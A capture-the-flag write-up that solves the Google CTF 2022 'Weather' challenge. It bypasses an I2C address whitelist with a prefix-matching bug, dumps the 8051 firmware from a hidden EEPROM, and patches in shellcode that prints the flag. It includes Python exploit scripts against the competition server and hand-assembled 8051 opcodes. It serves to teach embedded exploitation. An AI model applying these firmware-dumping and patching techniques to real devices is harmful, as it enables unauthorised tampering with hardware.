Official description

Our DYI Weather Station is fully secure! No, really! Why are you laughing?! OK, to prove it we’re going to put a flag in the internal ROM, give you the source code, datasheet, and network access to the interface.

We are given a ZIP file containing Device Datasheet Snippets.pdf and firmware.c. We are also given a server host and port: weather.2022.ctfcompetition.com:1337.

Exploration

Datasheet snippets

Let’s start by reading the datasheet snippets Device Datasheet Snippets.pdf:

  • The system is powered by a CTF-8051 micro-controller, probably based on Intel 8051.

  • The firmware is read from a CTF-5593D EEPROM.

    • It contains 64 pages of 64 bytes.
    • It is connected via SPI for data access and I2C for programming.
    • After erase, we can only clear bits via I2C.
  • Multiple I2C sensors are connected to the micro-controller.

  • A FlagROM device is present inside the micro-controller. It contains the flag.

From this point the goal is clear: we need to alter the operation of the weather station to read the content of FlagROM.

Firmware source code

Let’s now read firmware.c:

  • This firmware exposes a serial command prompt. This command prompt is accessible via Netcat:
    $ nc weather.2022.ctfcompetition.com 1337
    == proof-of-work: disabled ==
    Weather Station
    ?
    
  • Users can issue I2C read commands with the following syntax: r I2C_ADDR LENGTH.
  • Users can issue I2C write commands with the following syntax: w I2C_ADDR LENGTH BYTE0 BYTE1 BYTE2 ....
  • Read and write commands are limited to these whitelisted I2C addresses:
    1
    2
    3
    4
    5
    6
    7
    8
    
    const char *ALLOWED_I2C[] = {
        "101",  // Thermometers (4x).
        "108",  // Atmospheric pressure sensor.
        "110",  // Light sensor A.
        "111",  // Light sensor B.
        "119",  // Humidity sensor.
        NULL
    };
    

For example, let’s try to write then read to the humidity sensor:

? w 119 20 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99
i2c status: transaction completed / ready
? r 119 128
i2c status: transaction completed / ready
37 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
-end

The remote command prompt has a 120 seconds time limit: exiting (device execution time limited to 120 seconds).

Proposed solution

We exploit a vulnerability in the I2C address parser to read the EEPROM. Then, we modify a dump of the EEPROM to add instructions to read FlagROM. Finally, we write this modified firmware back to the EEPROM to extract the flag.

I2C address parser vulnerability

If we try to issue a read command outside of the ALLOWED_I2C whitelist, we get the following error message: -err: port invalid or not allowed. Looking at firmware.c we understand that this error message is due to the port_to_int8 function returning -1:

1
2
3
4
5
6
7
int8_t port_to_int8(char *port) {
  if (!is_port_allowed(port)) {
    return -1;
  }

  return (int8_t)str_to_uint8(port);
}

str_to_uint8 cannot return -1, i.e. this error message is triggered by is_port_allowed returning -1:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
bool is_port_allowed(const char *port) {
  for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
    const char *pa = *allowed;
    const char *pb = port;
    bool allowed = true;
    while (*pa && *pb) {
      if (*pa++ != *pb++) {
        allowed = false;
        break;
      }
    }
    if (allowed && *pa == '\0') {  // vuln, missing *pb == '\0'
      return true;
    }
  }
  return false;
}

This function checks the port I2C address against ALLOWED_I2C whitelist, but it has a flaw: it does not check that it reached the end of the port string when reaching the end of an item in ALLOWED_I2C.

The following Python script exploits this vulnerability to find all I2C devices:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import socket

s = socket.socket(socket.AF_INET)
s.connect(("weather.2022.ctfcompetition.com", 1337))

def wait_prompt(s):
    rx = s.recv(1000)
    while not rx.endswith(b"? "):
        rx += s.recv(1000)
    return rx

rx = wait_prompt(s)

# Use "101" thermometers prefix
for i2c_addr in range(101000, 101000+128):
    s.send(f"r {i2c_addr} 1\n".encode())
    rx = wait_prompt(s)

    if b"error - device not found" not in rx:
        print(i2c_addr%128, rx)

We get:

33 b'i2c status: transaction completed / ready\n? '
101 b'i2c status: transaction completed / ready\n? '
108 b'i2c status: transaction completed / ready\n? '
110 b'i2c status: transaction completed / ready\n? '
111 b'i2c status: transaction completed / ready\n? '
119 b'i2c status: transaction completed / ready\n? '

We discover a new I2C device at address 33 which might be our EEPROM. We can read and write to this device using address 101025.

Dumping the EEPROM

Let’s try to select page and read the maximal amount of data from the EEPROM:

? w 101025 1 0
i2c status: transaction completed / ready
? r 101025 128
i2c status: transaction completed / ready
2 0 6 2 4 228 117 129 48 18 8 134 229 130 96 3
2 0 3 121 0 233 68 0 96 27 122 0 144 10 2 120
1 117 160 2 228 147 242 163 8 184 0 2 5 160 217 244
218 242 117 160 255 228 120 255 246 216 253 120 0 232 68 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
-end

As mentioned by the datasheet, the EEPROM returns one page of 64 bytes. Let’s dump the whole EEPROM:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket

s = socket.socket(socket.AF_INET)
s.connect(("weather.2022.ctfcompetition.com", 1337))

rx = wait_prompt(s)

dump = b""
for page in range(64):
    s.send(f"w 101025 1 {page}\n".encode())
    rx = wait_prompt(s)

    if not b"transaction completed / ready" in rx:
        print(rx)

    s.send(f"r 101025 64\n".encode())
    rx = wait_prompt(s)

    if not b"transaction completed / ready" in rx:
        print(rx)

    rx = rx.split(b"\n")
    rx = b" ".join(rx[1:-2]).decode()
    rx = bytes(map(int, rx.split()))
    dump += rx
    print(f"Got page {page}")

with open("weather_eeprom.bin", "wb") as f:
    f.write(dump)

We use cpu_rec and confirm that the CPU is indeed running Intel 8051 instructions:

$ binwalk -% weather_eeprom.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             8051 (size=0x800, entropy=0.787004)
2048          0x800           None (size=0x800, entropy=0.269661)

Patching the EEPROM in Ghidra

We open the dump in Ghidra. After taking some inspiration from some functions, we are able to craft this assembly code:

1
2
3
4
5
6
    MOV CCAP4L,#0       # 0 is the index of the flag
    MOV B,DAT_SFR_ef    # read flag byte
boucle:
    MOV A,TXDAT         # is serial ready?
    JZ  boucle
    MOV TXSTAT,B        # print byte to serial

During EEPROM programming, bits can only be cleared: it is impossible to replace a 0 by a 1. We choose to put this piece of assembly code at 0x0a02 offset as it is filled with 0xFF. To run this code, we replace the data and code before with 0x00 which is a NOP instruction.

Let’s implement this in Python:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket
import time

for offset in range(256):
    s = socket.socket(socket.AF_INET)
    s.connect(("weather.2022.ctfcompetition.com", 1337))

    def program_page(page, content):
        i2c_addr = 101025  # 33 (eeprom)

        content = [0xFF - c for c in content]
        content = " ".join(map(str, content))

        # 165 90 165 90 is the EEPROM key
        req_len = 127
        s.send(f"w {i2c_addr} {req_len} {page} 165 90 165 90 {content}\n".encode())

        # wait for prompt
        s.settimeout(1)
        time.sleep(1)  # we cannot wait for characters as we are removing them
        try:
            rx = s.recv(1000)
        except socket.timeout:
            rx = None
        if rx and b"status: transaction completed" not in rx:
            print(rx[:1])

    wait_prompt(s)

    # New code
    content = [
        57, 0,
        0x75, 0xee, offset,  # MOV CCAP4L,#offset
        0x85, 0xef, 0xf0,    # MOV B,DAT_SFR_ef
        0xe5, 0xf3,          # MOV A,TXDAT
        0x60, 0xfb,          # JZ  boucle
        0x85, 0xf0, 0xf2,    # MOV TXSTAT,B
    ] + [0] * 49
    program_page(40, content)

    # Erase previous pages until 32-th page
    for page in range(39, 32, -1):
        content = [0] * 64
        program_page(page, content)

    # Do not erase whole 32-th page to align to instruction start
    content = [0xFF, 0xFF] + [0] * 62
    program_page(32, content)

    s.close()

We could have put the loop directly in assembly to do it much faster. After some time we get:

b'C'
b'T'
b'F'
b'{
[...]
b'}
b'\n'

This is our flag, CTF{DoesAnyoneEvenReadFlagsAnymore?}.

Based on https://xkcd.com/378/